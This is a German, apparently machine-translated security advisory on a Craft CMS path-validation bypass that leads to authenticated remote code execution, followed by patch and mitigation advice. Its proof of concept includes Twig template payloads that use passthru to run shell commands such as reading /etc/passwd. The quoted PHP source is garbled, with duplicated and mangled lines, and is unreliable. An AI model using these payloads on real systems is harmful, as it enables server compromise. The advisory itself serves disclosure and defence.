Remote Code Execution via validatePath bypass
Beschreibung
### Zusammenfassung Umgehen der Funktion validatePath kann zu potenzieller Remote Code Execution führen (Post-Authentisierung, ALLOW ADMIN CHANGES=true) ### Details In bootstrap.php ist der SystemPaths-Pfad wie unten festgelegt. ``php // Legen Sie den Vendor Path fest. Standardmäßig angenommen, dass es 4 Stufen von hier oben $vendorPath = $findConfigPath('--vendorPath', 'CRAFT VENDOR PATH') ?? dirname( DIR , 3); // Legen Sie den Pfad "Projektwurzel" fest, der config/, storage/, etc. enthält. Standardmäßig davon ausgehen, dass es ein Niveau von Vendor /. $rootPath = $findConfigPath('--basePath', 'CRAFT BASE PATH') ?? dirname($vendorPath); // Standardmäßig befinden sich die verbleibenden Verzeichnisse im Basisverzeichnis $dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT DOTENV PATH') ?? "$rootPath/.env"; $configPath = $findConfigPath('--configPath', 'CRAFT CONFIG PATH') ?? "$rootPath/MIGRATIONS PATH'; $storePath = $findConfigPath('--templatesPath', 'CRAFT TEMPLATES PATH') ?? "$rootPath/templates"; $translationsPath = $findConfigPath('--translationsPath', 'CRAFT TRANSLATIONS PATH') ?? "$rootPath/translations"; $testsPath = $rootPath/translations"; $testsPath = $rootPath/translations"; $tests Dateischema wird unterstützt in mkdir() ```php /** * @param string $attribute * @param array|null $params * @param InlineValidator $validator * @return void * @since 4.4.6 */ public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void Stellen Sie sicher, dass es sich nicht in einem der Systemverzeichnisse befindet $path = FileHelper::absolutePath($this->getRootPath(), '/'); $systemDirs = Craft::$app->getPath()->getSystemPaths(); foreach ($systemDirs as $dir) { $dir = FileHelper::absolutePath($dir, '/'); if (str starts with("$path/", "$dir/")) { $validator->addError($this, $attribute, Craft::t('app', 'Lokale Volumes können nicht in Systemverzeichnissen gefunden werden.')); break; } } } ``` ref. https://www.php.net/manual/en/wrappers.file.php ### PoC 1) Create a new filesystem. **Basispfad: file:///var/www/html/templates** 2) Erstellen Sie ein neues Asset-Volumen. Asset Filesystem: local bypass  3) Laden Sie eine ttml-Datei mit rce Template-Code hoch. Bestätigen poc.ttml Datei erstellt in /var/www/html/templates ```twig {{''}} {{1337*1337}} {{['cat /etc/passwd']|map('passthru')|join}} {{'id;pwd;ls -altr /']|map('passthru')|join}} ```
Quellen & weiterführende Informationen
Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.
Was ist zur Behebung zu tun?
Auf eine behobene Version aktualisieren: 4.4.15, 3.8.15.
Empfohlene Schritte
- Betroffene Systeme identifizieren: Pixel & Tonic Craft CMS.
- Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
- Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
- Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.
Übergangsmaßnahmen
- Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
- WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
- Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.
- Administrative Zugänge besonders absichern: MFA, Passwortrotation, Session-Invalidierung.